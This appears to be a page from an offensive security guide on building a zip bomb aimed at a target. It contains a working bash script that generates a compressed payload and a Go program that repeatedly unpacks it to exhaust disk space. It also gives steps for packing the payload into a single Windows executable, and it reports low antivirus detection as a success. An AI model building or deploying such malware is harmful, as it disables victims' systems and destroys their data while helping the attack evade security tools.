Zip Bombs

According to Wikipedia:

A zip bomb, also known as a decompression bomb or zip of death, is a malicious archive file designed to crash or render useless the program or system reading it.

...

A zip bomb allows a program to function normally, but, instead of hijacking the program's operation, creates an archive that requires an excessive amount of time, disk space, or memory to unpack.

As stated, a zip bomb is essentially a zip file that's tiny when compressed, but when uncompressed, it kills the system by inflating to consume a massive amount of memory.

It's important to note that a zip bomb may just be a simple zip file, but it can also be a straight-up program packed with said zip file payload. It can also be a fork bomb since that one eats up processor memory. Usually, with malware, the sky's the limit, be creative and design yours according to the target and objective.

If you just wanna use a pre-existing payload (which I recommend), you can just download one here.

Here's a (quite shitty) script to generate a payload:

#!/bin/bash

UNITSIZE=$1
COPIES=$2

OLDPATH=$PATH
PATH=$(/usr/bin/getconf PATH)

if [[ $# -lt 2 ]] then
    printf "USAGE: payloadgen.bash [UNIT SIZE] [COPIES]\n\n";
    printf "Generates a zip file as a payload for a zip-bomb\n";
    printf "   UNIT SIZE            Size of the unit dummy file inside the payload (in bytes)\n";
    printf "   COPIES               Specifies how many dummy files the payload should contain\n";
    exit 0
fi

## Generate a file filled with [UNITSIZE] number of zeros. Each 0 in it is a
## byte, so if it's filled with 1000 zeros, it'll be 1.0kB in size
$(which dd) if=/dev/zero of=./dummyfile.tmp bs=1 count=$UNITSIZE


## Now build the first layer:
for i in $(seq 1 $COPIES); do cp ./dummyfile.tmp ./dummyfile$i.tmp; done

## Zip the base layer together and assign that as the base unit zip file:
zip -9 dummy.zip ./dummyfile*.tmp
rm ./dummyfile*.tmp

mv ./dummy.zip ./payload_$COPIES.zip

printf "Payload size: $(du -h ./payload_$COPIES.zip)\n" 1>&2;

## Restoring the PATH variable to normal;
PATH=$OLDPATH
                       

Once we run this script with something like:

$ chmod +x payloadgen.bash
$ ./payloadgen.bash 10000000 500
...
Payload size: 4.8M      ./payload_500.zip

When this is uncompressed initially, it'll be something like 4 GB in size. Let's now make a program to unzip this stuff a number of times (heck, you can also make it go on forever). I'll use golang to create the unzipping program:

package main

import (
        "archive/zip"
        "fmt"
        "io"
        "os"
        "path/filepath"
        "strings"
        "sync"
)

func main() {
        iterations := 2000
        var wg sync.WaitGroup

        for i := 0; i < iterations; i++ {
                wg.Add(1)
                go unzipFile("payload.zip", fmt.Sprintf("%s_%d", "output", i), &wg)
        }
        wg.Wait()
}

func unzipFile(src, dst string, wg *sync.WaitGroup) {
        defer wg.Done()
        archive, err := zip.OpenReader(src)

        if err != nil {
                panic(err)
        }

        defer archive.Close()

        for _, f := range archive.File {
                filePath := filepath.Join(dst, f.Name)
                fmt.Println("unzipping file ", filePath)

                if !strings.HasPrefix(filePath, filepath.Clean(dst)+string(os.PathSeparator)) {
                        return
                }
                if f.FileInfo().IsDir() {
                        os.MkdirAll(filePath, os.ModePerm)
                        continue
                }

                if err := os.MkdirAll(filepath.Dir(filePath), os.ModePerm); err != nil {
                        panic(err)
                }

                dstFile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
                if err != nil {
                        panic(err)
                }

                fileInArchive, err := f.Open()
                if err != nil {
                        panic(err)
                }

                if _, err := io.Copy(dstFile, fileInArchive); err != nil {
                        panic(err)
                }

                dstFile.Close()
                fileInArchive.Close()
        }

}

Woah! That's one big program, yeah, but it's really simple.

The unzipFile function does exactly what its name suggests. Takes in a zip file and unzips it, while placing its contents into a specified dst location.

The main function just handles the continuous unzipping of the payload. So here:

## First build the program:
$ go build zipbomb.go  

## Generate a payload: (appx. 5 Gb)
$ ./payloadgen.bash 10000000 500 && mv payload_500.zip payload.zip

## DON'T RUN THIS ON YOUR SYSTEM
$ ./zipbomb

The last command will decompress the payload 2000 times, which, in this case, will consume a whopping 10 TB. Now comes the question... How do I transport this stuff over to the target in a single executable. To do this, you can use the traditional "packers" route, OR something like this:

  1. Generate a suitable payload (I'll just use the one we generated before)

## I suggest adding a lil "2>/dev/null" at the end of the following 
## if you don't care about the stuff zip's gonna print out
$ ./payloadgen.bash 10000000 500 
...
Payload size: 4.8M      ./payload_500.zip
  1. Next, we generate a simple program packing this stuff into a byte array using go-bindata:

$ go-bindata -o payload.go payload_500.zip
  1. Since this file will also be included in the main package, we can directly access the functions inside it, so we'll call the payload_500ZipBytes function to get the byte array for our payload:

func placePayload() {
        payload_500Zip, err := payload_500ZipBytes()
        if err != nil {
                panic(err)
        }

        payloadFile, err := os.Create("payload.zip")
        if err != nil {
                panic(err)
        }

        defer payloadFile.Close()

        _, err = payloadFile.Write(payload_500Zip)
        if err != nil {
                panic(err)
        }
}
   
  1. Now, we add a function call to placePayload in the main function before we start iterating and unzipping; do some cleaning up and build the final executable...

$ GOOS=windows go build zipbomb.go payload.go
$ rm payload.go payload_500.zip
$ du -h zipbomb.exe
2.4M    zipbomb.exe

Let's run a test (also change the iterations variable to 2):

$ go build zipbomb.go payload.go
$ ./zipbomb
...
$ du -h output_*   
4.7G    output_0
4.7G    output_1

## Cleanup:
$ rm -rf output_* && go clean

Well, there it is folks, a simple zip bomb!

We can also run a simple test on virustotal to check where our malware stands in terms of detection:

Well, well, that's quite something! It's passing with flying colors on the Linux detection, and as for the Windows build, a score of 4/70 is quite good! Usually, this may not be the same if we use packers (which, typically, you'll wanna do).

If you wanna know how to pack stuff using packers, check the section on Malware Packers

Here's the GitHub repository that contains all of the above code:

PS: I'll YET AGAIN be making one of those over-engineered packages for this, so look forward to it! I'll link it here as soon as it's done :)

Last updated